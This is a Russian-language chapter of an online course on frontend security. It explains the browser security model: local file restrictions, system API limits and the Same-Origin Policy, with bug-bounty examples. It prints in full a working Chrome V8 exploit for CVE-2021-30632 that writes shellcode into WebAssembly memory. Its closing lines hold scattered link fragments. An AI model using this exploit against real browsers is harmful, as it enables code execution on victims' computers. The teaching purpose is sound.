Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Безопасность веб-фронтенда: понимание ограничений браузера
  • Запрет на вызов системных API
  • Запрет доступа к контенту с других веб-страниц
  • Заключение
  1. Глава 1 - Начало работы с XSS

Браузерная модель безопасности

PreviousДобро пожаловатьNextЗнакомимся с уязвимостью XSS

Last updated 8 months ago

Безопасность веб-фронтенда: понимание ограничений браузера

Прежде чем углубиться в уязвимости и ошибки безопасности фронтенда, важно понимать его базовую структуру.

Его ключевое отличие в том, что код фронтенда выполняется в браузере.

Именно браузер отвечает за отображение HTML, обработку CSS и исполнение JavaScript-кода на странице. По сути, браузер служит средой выполнения для фронтенда.

Представьте: черный квадрат снаружи - это операционная система, а два зеленых приложения работают поверх нее. Приложение справа представляет браузер, а фронтенд функционирует внутри него.

Чем глубже слой, тем больше ограничений:

Понимание этого ключевого момента необходимо, чтобы осознать, чего фронтенд делать не может. Это не вопрос желания, а ограничения браузеров. Например, серверная часть без труда выполняет чтение и запись файлов, но на фронтенде это может быть недостижимо.

Почему? Потому что браузер не разрешает.

Кратко говоря: - Чего браузер не предоставляет, того и добиться нельзя. - Какие же ограничения безопасности накладывает браузер? Что он ограничивает?

Запрет на прямой доступ к локальным файлам

В отличие от фронтенда, код бэкенда выполняется непосредственно в операционной системе, что по сути делает его обычным приложением. При отсутствии особых ограничений по правам, он может делать практически все, что угодно. Вся машина - его игровая площадка.

Однако для фронтенда существует множество ограничений. Например, он не может "проактивно" читать и записывать файлы на компьютере.

Давайте разберемся, что возможно. Вы можете использовать <input type=file> для выбора файла пользователем, а затем с помощью FileReader прочитать его содержимое, как показано здесь:


<input type="file" onchange="show(this)">

<script>
function show(input) {
  const reader = new FileReader();
  reader.onload = (event) => {
    alert(event.target.result);
  };
  reader.readAsText(input.files[0]);
}
</script>

У браузеров есть веские причины для таких ограничений. Что могло бы произойти, если бы веб-страницы фронтенда могли напрямую читать файлы?

Я мог бы напрямую прочитать ваш /etc/passwd, SSH-ключ, файлы конфигурации и различные файлы, содержащие конфиденциальную информацию. Я мог бы даже найти на вашем компьютере резервные мнемонические фразы для зашифрованных кошельков с криптовалютой. Это было бы серьезной проблемой, подобной внедрению вредоносного ПО.

Поэтому запрет JavaScript на активный доступ к файлам вполне обоснован. В противном случае одним открытием веб-страницы можно было бы раскрыть все содержимое файлов, что привело бы к значительным проблемам безопасности.

На самом деле, такие инциденты уже случались. Рассмотрим один пример.

В 2021 году Renwa сообщил Opera об уязвимости: Bug Bounty Guest Post: Local File Read via Stored XSS in The Opera Browser, которая использовала уязвимость в браузере для чтения файлов.

Opera - это браузер, созданный на базе Chromium, и в нем есть функция "Opera Pinboards", позволяющая пользователям создавать заметки и делиться ими с другими. URL-адрес страницы заметок - opera:pinboards, который относится к специальному протоколу и обычно имеет особые разрешения.

При создании заметки можно добавить ссылку, например: https://blog.huli.tw. Renwa обнаружил, что помимо использования обычных ссылок, вы также можете использовать ссылки типа javascript:alert(1) для выполнения кода, тем самым получая уязвимость XSS в рамках opera:pinboards!

Как упоминалось ранее, под Opera существуют специальные разрешения, такие как возможность открывать веб-страницы file:// и делать снимки экрана веб-страниц для получения результатов. Поэтому вы могли использовать упомянутую ранее XSS для открытия локальных файлов, создания снимков экрана и отправки их на свой сервер, достигнув цели по краже файлов.

Данная ошибка была исправлена в течение дня после ее сообщения, а багхантер получил вознаграждение в размере 4000 долларов.

Запрет на вызов системных API

В отличие от обычных приложений, использующих системные API для изменения настроек системы или сети, JavaScript на фронтенде веб-страниц имеет гораздо меньше возможностей. Точнее, дело не в самом JavaScript, а в том, что браузер не предоставляет фронтенду нужных API.

Представьте, что JavaScript - это инструмент в ваших руках. Вы можете работать только с тем, что есть в наборе инструментов. Браузер же предоставляет набор функций, таких как fetch для отправки запросов или setTimeout для установки таймеров. Если же вам нужен, например, доступ к настройкам сети, необходимо искать соответствующий инструмент в наборе, предоставленном браузером. Если такого инструмента нет, веб-страница с помощью JavaScript никак не сможет взаимодействовать с этими настройками.

Однако браузеры все же могут предоставлять некоторые системные возможности через специальные API. Например, Web Bluetooth API позволяет JavaScript взаимодействовать с устройствами Bluetooth, а MediaDevices API дает доступ к данным микрофона и камеры. При этом браузеры обязательно реализуют систему управления разрешениями. Перед тем, как предоставить доступ к определенным ресурсам, пользователь зачастую видит всплывающее окно с запросом на разрешение.

Хотя JavaScript не имеет прямого доступа к системным API, браузеры могут предоставлять отдельные возможности через специальные API с механизмами контроля разрешений, защищающими пользователей от нежелательного доступа к их данным.

Запрет доступа к контенту с других веб-страниц

Поэтому у каждой веб-страницы есть доступ только к своему собственному контенту. Она может редактировать свой HTML-код и запускать нужный код JavaScript, но не должна считывать данные с других страниц. Этот принцип называется Same Origin Policy (SOP).

Важно отметить, что под "данными" в этом контексте подразумевается не только сам "контент на странице", но и невозможность доступа к URL-адресам других страниц.

var win = window.open('https://blog.huli.tw')
setTimeout(() => {
  console.log(win.location.href)
}, 3000)

Мы получим ошибку в консоли:

Сообщение об ошибке:

Uncaught DOMException: Blocked a frame with origin "https://github.com" from accessing a cross-origin frame.

Данное ограничение запрещает вам получать доступ к контенту и URL-адресам других веб-страниц. Хотя это кажется простым и необходимым, реализовать такую защиту в браузерах непросто. Из-за постоянных атак браузерам требуются различные методы защиты и архитектурные изменения, чтобы становиться все безопаснее и соответствовать современным требованиям.

В январе 2018 года проект Zero от Google обнаружил серьезные уязвимости Meltdown и Spectre, позволяющие считывать данные из одного процесса через ошибки в процессоре.

Теперь рассмотрим обход ограничения доступа к контенту других страниц.

В 2022 году пользователь joaxcar сообщил об уязвимости в Chromium: Issue 1359122:

Эта уязвимость позволяла читать URL-адреса с других сайтов с помощью iframe.

Такого не должно быть. При перенаправлении iframe на другой URL записи navigation.entries() должны очищаться. Следовательно, это ошибка.

Данный пример демонстрирует обход политики одного происхождения (SOP). Хотя он позволяет читать только URL-адреса, это по-прежнему является уязвимостью безопасности, за которую пользователь получил награду в размере $2000.

Заключение

Основная мысль данного раздела: "Если браузер не предоставляет вам доступ к чему-то, вы просто не можете это получить." Это ключевое отличие разработки веб-интерфейсов от других сред выполнения кода. И наоборот, если вам удается получить доступ к чему-то, что браузер не предоставляет, это означает, что вы нашли уязвимость в браузере, и можете сообщить о ней за вознаграждение.

Итак, какие же уязвимости являются самыми критичными для браузеров? Это те, которые позволяют злоумышленникам обходить ограничения безопасности браузера и совершать действия, нарушающие его основополагающие принципы.

Звучит так себе, не правда ли? Но есть и более опасные сценарии.

Существует ещё более опасный тип уязвимости, позволяющий злоумышленникам выполнять произвольные команды на вашем компьютере с помощью JavaScript. А точнее RCE.

Представьте, что вы посетили страницу, прочитали несколько статей и закрыли страницу. Казалось бы, всё закончилось, но это не так. В этот момент я уже могу отдавать команды вашему компьютеру.

К сожалению, такие уязвимости случались и раньше, и ими нередко пользовались злоумышленники. Браузеры, конечно, стараются устранять подобные проблемы, но они всё же могут появляться. Поэтому как обычным пользователям нам крайне важно своевременно обновлять браузеры, чтобы минимизировать риск столкнуться с подобными опасностями.

В сентябре 2021 года была обнаружена уязвимость с идентификатором CVE-2021-30632, как раз относящаяся к RCE. Простой открытие веб-страницы в браузере Chrome (версии ниже v93) могло привести к тому, что злоумышленник мог напрямую проникнуть на ваш компьютер и запускать команды.

Интересно ли вам узнать, как обычно выглядит код JavaScript в подобных атаках? Как злоумышленники используют определенные функции браузера, чтобы в конечном итоге выполнять на нем произвольный код?

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
<script type="text/javascript">

function gc() {
  for(var i = 0;i < ((1024*1024)); i++) {
    new String();
  }
}

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;

function foo(y) {
  x = y;
}

function oobRead() {
  //addrOf b[0] and addrOf writeArr::elements
  return [x[20],x[24]];
}

function oobWrite(addr) {
  x[24] = addr;
}

var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;

gc();gc();
  
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];

for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}

x[0] = 1.1;

for (let i = 0; i < 20000; i++) {
  oobRead();
}

for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr);

var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();

function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}

function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}

function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}


dblArr[0] = addrs[0];
dblArr[1] = addrs[1];

function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}

function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));
  return writeArr[0];
}

function arbRead1(addr) {
  [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr1, addr));
  return writeArr[0];
}

function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    intArr[i] = shellArr[i];
  }
}

function writeShellCode1(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
 
  [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr1, intArrAddr + 0x20));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    intArr[i] = shellArr[i];
  }
}

var other_method = false;
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];

if((elementsAddr & 0xFFFF) == 0x222D) {
  other_method = true;
  elementsAddr = ftoi32(addrs[1])[1];
}

var shellCode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
      0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
      0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
      0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
      0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
      0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
      0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
      0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
      0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
      0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
      0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
      0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
      0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
      0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
      0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
      0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
      0x65, 0x78, 0x65, 0x00];

var rwxAddr;
if(other_method == false) {
  rwxAddr = arbRead(instanceAddr + 0x60);
  writeShellCode(rwxAddr, shellCode);
}
else {
  rwxAddr = arbRead1(instanceAddr + 0x60);
  writeShellCode1(rwxAddr, shellCode);
}

main();

</script>
</body>
</html>

Кстати, некоторые инженеры, не знакомые с ограничениями JavaScript, часто пытаются достичь того, что в принципе невозможно с использованием этого языка.

Поняв базовую модель безопасности браузеров, вы сможете уверенно говорить руководителю проекта: "Да, эту функциональность нельзя реализовать на веб-интерфейсе, потому что браузер не позволяет это сделать", вместо того, чтобы везде искать способы вызывать несуществующие API.

Но при этом вы не можете напрямую использовать операции вроде fetch('') для чтения файлов. Если вы попытаетесь это сделать, в консоли появится ошибка:

Not allowed to load local resource:

Даже использование window.open('') приведет к той же ошибке.

Веб-страницам категорически запрещено получать доступ к контенту других веб-страниц. Причина понятна: если бы такое было возможно, можно было бы читать письма с , просто открыв , что, разумеется, совершенно небезопасно.

Например, если на выполнить следующий код:

Браузер Chrome отреагировал на эту угрозу, повысив безопасность своей архитектуры. Теперь разные веб-страницы, независимо от способа загрузки (включая изображения и iframe), обрабатываются в отдельных процессах. Этот комплекс мер безопасности называется Site Isolation. .

Представьте, что веб-страница содержит iframe с URL-адресом . Перенаправляя iframe на about:blank с помощью frames[0].location = 'about:blank', iframe становится "однородным" с . В этот момент доступ к истории навигации iframe с помощью frames[0].navigation.entries() позволяет получить исходный URL-адрес .

Например, упомянутый ранее обход политики одного происхождения (SOP) может нарушить эту защиту и позволить получить доступ к данным с других веб-страниц. Хотя в предыдущем примере демонстрировалась лишь возможность читать URL-адреса, более сложные атаки могут даже получить доступ к самому содержимому. Представьте, что вы открываете для поиска информации, но на самом деле этот сайт тайно выполняет JavaScript-код, который использует уязвимость обхода SOP для чтения всего содержимого ваших писем на .

Ниже приведен один из эксплойтов для

Поскольку уязвимость находится внутри V8, код выше выполняет множество операций, которые могут показаться непонятными. Обычно эти операции предназначены для выполнения определённых условий, вызывающих проблемы в V8. Однако подробное объяснение выходит за рамки этой статьи. Если вам интересно, вы можете ознакомиться с детальным анализом, написанным командой безопасности

file:///data/index.html
file:///data/index.html
file:///data/index.html
mail.google.com
example.com
github.com
Подробнее о нем можно узнать на сайте Chromium
Обход SOP раскрывает историю навигации iframe из другого поддомена при изменении расположения на about:blank
a.example.com
b.example.com
a.example.com
b.example.com
https://example.com
https://mail.google.com
CVE-2021-30632
GitHub: Chrome in-the-wild bug analysis: CVE-2021-30632